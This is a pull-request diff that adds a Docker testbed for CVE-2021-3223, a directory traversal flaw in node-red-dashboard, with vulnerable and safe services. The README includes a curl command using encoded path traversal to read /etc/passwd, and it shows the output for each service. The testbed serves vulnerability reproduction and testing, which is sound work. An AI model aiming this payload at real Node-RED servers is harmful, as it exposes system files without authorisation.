Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions nodejs/node-red/CVE-2021-3223/Dockerfile.safe
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
FROM nodered/node-red:1.1.2

RUN npm install --unsafe-perm --no-update-notifier --no-fund --only=production

RUN npm install node-red-dashboard@2.26.2
24 changes: 24 additions & 0 deletions nodejs/node-red/CVE-2021-3223/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,27 @@ This directory contains the deployment configs for a directory traversal
vulnerability in Node-RED-Dashboard with node-red version (1.1.2).

The deployed service has name `cve-2021-3223` and listens on port `1880`.

## Docker Compose
```
docker compose up
```

The vulnerable service will listen on port `8081` and the safe service will listen on port `8082`.

## Confirming the vulnerability


```
curl --path-as-is 'localhost:8081/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
```
Vulnerable output:
```
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
```
Safe output (replace the port with 8082):
```
Not Found
```
14 changes: 14 additions & 0 deletions nodejs/node-red/CVE-2021-3223/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
version: "3.9"

services:
vuln:
build:
dockerfile: Dockerfile.vuln
ports:
- "8081:1880"

safe:
build:
dockerfile: Dockerfile.safe
ports:
- "8082:1880"